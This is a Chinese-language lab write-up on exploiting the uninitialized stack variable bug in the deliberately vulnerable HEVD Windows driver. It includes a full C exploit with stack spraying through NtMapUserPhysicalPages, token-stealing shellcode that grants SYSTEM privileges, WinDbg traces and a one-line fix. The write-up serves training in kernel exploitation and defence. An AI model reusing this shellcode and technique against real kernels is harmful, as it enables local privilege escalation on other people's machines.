0x00 前言
Windows内核系列:
0x01 漏洞原理
当我们的变量没有初始化(设置为NULL)时,那么这个变量会被设置为之前栈上存在的数据,那么我们就存在使用“栈喷射”将栈数据全部设置为某个值,然后参数就存在设置为我们想要的参数的可能。
0x02 漏洞缺陷定位
漏洞缺陷函数为:TriggerUninitializedMemoryStack()
下面这是TriggerUninitializedMemoryStack()
的调用流程
漏洞调用流程:
函数设置了一个未初始化_UNINITIALIZED_MEMORY_STACK
结构体变量UninitializedMemory
,先判断我们传入的值地址是否在Ring3
中,然后将判断传入的参数UserBuffer
是否为0xBAD0B0B0
,如果UserBuffer
为0xBAD0B0B0
则设置_UNINITIALIZED_MEMORY_STACK
成员Value
为0xBAD0B0B0
和设置Callback
为UninitializedMemoryStackObjectCallback
函数的地址,如果UserBuffer
不为0xBAD0B0B0
则判断Callback
成员是否为NULL
,然后调用Callback
指向的函数。
如上图,我们可以看到,由于_UNINITIALIZED_MEMORY_STACK
没有初始化,所以存在利用“栈喷射”将_UNINITIALIZED_MEMORY_STACK
结构体成员Callback
设置为我们执行shellcode函数的地址。
0x03 溢出利用
利用EXP:(.c,win32,release生成项目文件)
#include <Windows.h>
#include <stdio.h>
HANDLE hDevice = NULL;
typedef NTSTATUS(WINAPI * My_NtMapUserPhysicalPages)(
IN PVOID VirtualAddress,
IN ULONG_PTR NumberOfPages,
IN OUT PULONG_PTR UserPfnArray);
VOID ShellCode()
{
_asm
{
//int 3
pushad
mov eax, fs: [124h] // Find the _KTHREAD structure for the current thread
mov eax, [eax + 0x50] // Find the _EPROCESS structure
mov ecx, eax
mov edx, 4 // edx = system PID(4)
// The loop is to get the _EPROCESS of the system
find_sys_pid :
mov eax, [eax + 0xb8] // Find the process activity list
sub eax, 0xb8 // List traversal
cmp[eax + 0xb4], edx // Determine whether it is SYSTEM based on PID
jnz find_sys_pid
// Replace the Token
mov edx, [eax + 0xf8]
mov[ecx + 0xf8], edx
popad
//int 3
ret
}
}
BOOL init()
{
// Get HANDLE
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
printf("[+]Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
return FALSE;
}
printf("[+]Success to get HANDLE!\n");
return TRUE;
}
static VOID Cmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)& si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
VOID Trigger_shellcode()
{
DWORD bReturn = 0;
char buf[4] = {0};
*(PDWORD32)(buf) = 0xBAD0B0B0 + 1;
My_NtMapUserPhysicalPages NtMapUserPhysicalPages = (My_NtMapUserPhysicalPages)GetProcAddress(
GetModuleHandle(L"ntdll"),
"NtMapUserPhysicalPages");
if (NtMapUserPhysicalPages == NULL)
{
printf("[+]Failed to get MapUserPhysicalPages!!!\n");
return;
}
PDWORD StackSpray = (PDWORD)malloc(1024 * 4);
memset(StackSpray, 0x41, 1024 * 4);
printf("[+]Spray address is 0x%p\n", StackSpray);
for (int i = 0; i < 1024; i++)
{
*(PDWORD)(StackSpray + i) = (DWORD)& ShellCode;
}
NtMapUserPhysicalPages(NULL, 1024, StackSpray);
DeviceIoControl(hDevice, 0x22202f, buf, 4, NULL, 0, &bReturn, NULL);
}
int main()
{
if (init() == FALSE)
{
printf("[+]Failed to get HANDLE!!!\n");
system("pause");
return 0;
}
Trigger_shellcode();
printf("[+]Start to Create cmd...\n");
Cmd();
system("pause");
return 0;
}
一. 获取TriggerUninitializedMemoryStack()
的控制码
反汇编IrpDeviceIoCtlHandler
函数可以看到TriggerUninitializedMemoryStack()
的控制码为:0x22202F
配置我们传入参数不为0xBAD0B0B0
进而为下一步利用做铺垫
DWORD bReturn = 0;
char buf[4] = {0};
*(PDWORD32)(buf) = 0xBAD0B0B0 + 1; //这里只要不为0xBAD0B0B0即可
将参数传入到内核中进而调用UninitializedMemory.Callback()
DeviceIoControl(hDevice, 0x22202f, buf, 4, NULL, 0, &bReturn, NULL);
二、 配置栈喷射(注意:堆喷射和栈喷射是有区别的)
原理:
Windows内核API中存在一个函数NtMapUserPhysicalPages
可以指定一个内存空间设置为栈缓冲区,所以一旦我们的结构体没有初始化且是栈数据时,我们就可以使用该函数将栈缓冲区都事先设置为我们的shellcode函数指针,进而达到利用。(栈喷射这里有详细讲解:nt!NtMapUserPhysicalPages 和内核堆栈喷射技术)
我们先设置好NtMapUserPhysicalPages
函数的参数空间
typedef NTSTATUS(WINAPI * My_NtMapUserPhysicalPages)(
IN PVOID VirtualAddress,
IN ULONG_PTR NumberOfPages,
IN OUT PULONG_PTR UserPfnArray);
从ntdll.dll
中获取到NtMapUserPhysicalPages
的函数指针
My_NtMapUserPhysicalPages NtMapUserPhysicalPages = (My_NtMapUserPhysicalPages)GetProcAddress(GetModuleHandle(L"ntdll"), "NtMapUserPhysicalPages");
if (NtMapUserPhysicalPages == NULL)
{
printf("[+]Failed to get MapUserPhysicalPages!!!\n");
return;
}
然后使用malloc
申请一个1024
字节的内存块(因为NtMapUserPhysicalPages
最多只能设置1024字节的内存空间)
PDWORD StackSpray = (PDWORD)malloc(1024 * 4);
将内存块初始化为A
(因为是每bytes
赋值,所以我们不能直接将内存块设置为shellcode
指针)
memset(StackSpray, 0x41, 1024 * 4);
printf("[+]Spray address is 0x%p\n", StackSpray);
然后将内存块的每字节都设置为shellcode
函数的指针
for (int i = 0; i < 1024; i++)
{
*(PDWORD)(StackSpray + i) = (DWORD)& ShellCode;
}
然后将这个内存块设置为我们即将使用到的栈缓冲区
NtMapUserPhysicalPages(NULL, 1024, StackSpray);
三、设置我们的shellcode函数
shellcode
将系统进程的Token
拷贝到了我们的exp
进程上
VOID ShellCode() {
__asm {
pushad ;保存各寄存器数据
; start of Token Stealing Stub
xor eax, eax ; eax设置为0
mov eax, fs: [eax + 124h] ; 获取 nt!_KPCR.PcrbData.CurrentThread
mov eax, [eax + 050h] ; 获取 nt!_KTHREAD.ApcState.Process
mov ecx, eax ; 将本进程EPROCESS地址复制到ecx
mov edx, 4 ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + 0b8h] ; 获取 nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, 0b8h
cmp[eax + 0b4h], edx ; 获取 nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID ; 循环检测是否是SYSTEM进程PID
mov edx, [eax + 0f8h] ; 获取System进程的Token
mov[ecx + 0f8h], edx ; 将本进程Token替换为SYSTEM进程 nt!_EPROCESS.Token
; End of Token Stealing Stub
popad
ret 8 ; Return cleanly
}
}
四、创建一个本进程Token的CMD进程
static VOID Cmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)& si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
利用成功
因为调用NtMapUserPhysicalPages
函数设置的缓冲区不一定是我们进程的缓冲区,所以存在不一定成功性,可以多执行几遍程序。
0x04 分析NtMapUserPhysicalPages
覆盖缓冲区情况
执行EXP.exe
文件,查看到[+]Spray address is 0x003a2918
所以我们使用Windbg
查看这段内存空间的数据情况
流程:
执行EXP.exe
,查看到[+]Spray address is 0x003a2918
进入EXP进程上下文
kd> !dml_proc
Address PID Image file name
855f8a20 4 System
86125890 f0 smss.exe
867c2030 14c csrss.exe
8693ed40 180 wininit.exe
8693f978 188 csrss.exe
............
869d76f8 a0c WmiPrvSE.exe
86e15930 a7c WmiApSrv.exe
86dd1388 ad0 Uninitialized-
86c5c7d0 adc conhost.exe
86dbe948 aec cmd.exe
86e61658 af4 cmd.exe
86b09208 afc conhost.exe
发现我们进程的PEB
表的address
为:86dd1388
kd> !dml_proc 0x86dd1388
Address PID Image file name
ReadVirtual: 86dd143c not properly sign extended
86dd1388 ad0 ReadVirtual: 86dd14f4 not properly sign extended
ReadVirtual: 86dd1534 not properly sign extended
Uninitialized- Full details
Select user-mode state Release user-mode state
Browse kernel module list Browse user module list
Browse full module list
.........
我们进入这个进程的上下文
kd> .process /p /r 0x86dd1388
ReadVirtual: 86dd13a0 not properly sign extended
Implicit process is now 86dd1388
.cache forcedecodeuser done
Loading User Symbols
ReadVirtual: 86dd1530 not properly sign extended
.....
查看NtMapUserPhysicalPages
覆盖缓冲区情况
kd> dd 3a2918 l100
003a2918 00dc1040 00dc1040 00dc1040 00dc1040
003a2928 00dc1040 00dc1040 00dc1040 00dc1040
003a2938 00dc1040 00dc1040 00dc1040 00dc1040
003a2948 00dc1040 00dc1040 00dc1040 00dc1040
003a2958 00dc1040 00dc1040 00dc1040 00dc1040
003a2968 00dc1040 00dc1040 00dc1040 00dc1040
003a2978 00dc1040 00dc1040 00dc1040 00dc1040
003a2988 00dc1040 00dc1040 00dc1040 00dc1040
003a2998 00dc1040 00dc1040 00dc1040 00dc1040
003a29a8 00dc1040 00dc1040 00dc1040 00dc1040
003a29b8 00dc1040 00dc1040 00dc1040 00dc1040
003a29c8 00dc1040 00dc1040 00dc1040 00dc1040
003a29d8 00dc1040 00dc1040 00dc1040 00dc1040
003a29e8 00dc1040 00dc1040 00dc1040 00dc1040
003a29f8 00dc1040 00dc1040 00dc1040 00dc1040
003a2a08 00dc1040 00dc1040 00dc1040 00dc1040
003a2a18 00dc1040 00dc1040 00dc1040 00dc1040
003a2a28 00dc1040 00dc1040 00dc1040 00dc1040
003a2a38 00dc1040 00dc1040 00dc1040 00dc1040
003a2a48 00dc1040 00dc1040 00dc1040 00dc1040
............
上面的00dc1040
就是我们的shellcode
函数地址
反汇编一下shellcode
kd> u 00dc1040
Uninitialized_Stack_Variable!ShellCode [D:\Sources\testing_file\HEVD.EXE\Uninitialized-Stack-Variable\Uninitialized-Stack-Variable\Uninitialized-Stack-Variable.c @ 12]:
00dc1040 53 push ebx
00dc1041 56 push esi
00dc1042 57 push edi
00dc1043 60 pushad
00dc1044 64a124010000 mov eax,dword ptr fs:[00000124h]
00dc104a 8b4050 mov eax,dword ptr [eax+50h]
00dc104d 8bc8 mov ecx,eax
00dc104f ba04000000 mov edx,4
可以证实到这个就是我们的shellcode
那么问题来了,因为我们调用UninitializedMemory.Callback()
时如果调用到了Callback
参数上原缓冲区数据时,肯定会出现异常的,那么为什么程序能正常执行呢?
0x05 探测UninitializedMemory.Callback()
找到UninitializedMemory.Callback()
的调用汇编
IDA静态分析到UninitializedMemory.Callback()
的汇编指令
在Windbg中找到HEVD.sys
中TriggerUninitializedMemoryStack
函数地址
kd> x HEVD!TriggerUninitializedMemoryStack
a21b5ffa HEVD!TriggerUninitializedMemoryStack (void *)
经正则,定位到到+0x000000a1
为UninitializedMemory.Callback()
kd> u a21b5ffa+000000a1
a21b609b ffd0 call eax
a21b609d eb2d jmp HEVD!TriggerUninitializedMemoryStack+0xd2 (a21b60cc)
a21b609f 8b45ec mov eax,dword ptr [ebp-14h]
a21b60a2 8b00 mov eax,dword ptr [eax]
a21b60a4 8b00 mov eax,dword ptr [eax]
a21b60a6 8985f0feffff mov dword ptr [ebp-110h],eax
给指定地址下断点
kd> bp a21b609b
再次执行EXP.exe
后在这个断点下中断
一步一步执行查看情况
kd> p
HEVD!TriggerUninitializedStackVariable+0xbd:
01391040 c745fcfeffffff mov dword ptr [ebp-4],0FFFFFFFEh
kd> p
HEVD!TriggerUninitializedStackVariable+0xc4:
01391047 8bc7 mov eax,edi
kd> p
HEVD!TriggerUninitializedStackVariable+0xc6:
01391056 e894c0ffff call HEVD!__SEH_epilog4 (013e3167)
可以看到当我们call了一个奇怪的地址时,就会跳转到异常处理上,避免错误
0x06 漏洞修复
只要将我们即将调用函数的结构体变量初始化即可将缺陷修复
将_UNINITIALIZED_MEMORY_STACK UninitializedMemory;
设置为_UNINITIALIZED_MEMORY_STACK UninitializedMemory = NULL;